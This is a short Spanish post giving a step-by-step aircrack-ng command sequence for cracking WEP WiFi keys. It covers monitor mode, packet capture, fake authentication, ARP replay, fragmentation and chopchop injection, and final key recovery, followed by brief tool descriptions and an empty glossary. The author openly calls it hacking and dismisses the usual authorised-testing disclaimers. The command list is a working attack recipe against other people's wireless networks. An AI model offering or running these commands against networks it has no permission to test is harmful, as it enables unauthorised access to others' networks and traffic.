Hackear claves wifi WEP

Si, hackear, sería de hipocritas llamarlo de otra forma. Lo tipico:
"...os muestro como se hace para que comprobeis la vulnerabilidad de vuestra red..."
"...piratear la wifi de otra persona sin su permiso es delito..."

A groso modo:
airmon-ng start wlan0
airodump-ng mon0
airodump-ng --channel 9 --bssid 99:99:99:99:99:99 -w captura mon0
  aireplay-ng -1 0 -a 99:99:99:99:99:99 -h 11:22:33:44:55:66 -e NOMBRE_WIFI mon0
  aireplay-ng -3 -b 99:99:99:99:99:99 -h 11:22:33:44:55:66 -e NOMBRE_WIFI mon0
  aireplay-ng -5 -b 99:99:99:99:99:99 -h 11:22:33:44:55:66 mon0
  aireplay-ng -4 mon0 -h 11:22:33:44:55:66
aircrack-ng -a 1 -e NOMBRE_WIFI -b 99:99:99:99:99:99 captura

Explicación
Herramientas
airmon-ng: Se encarga de poner la tarjeta de red(wlan0) en modo monitor(mon0).
airodump-ng: Dumper de carga, este escucha todo el trafico y puede guardarlo.
aireplay-ng: Atacante para generar trafico de donde no lo hay.
aircrack-ng: Descifrador de paquetes conseguidos por el airodump.
Elementos:
wlan0:
mon0:
channel:
bssid:
captura:
 11:22:33:44:55:66:
NOMBRE_WIFI: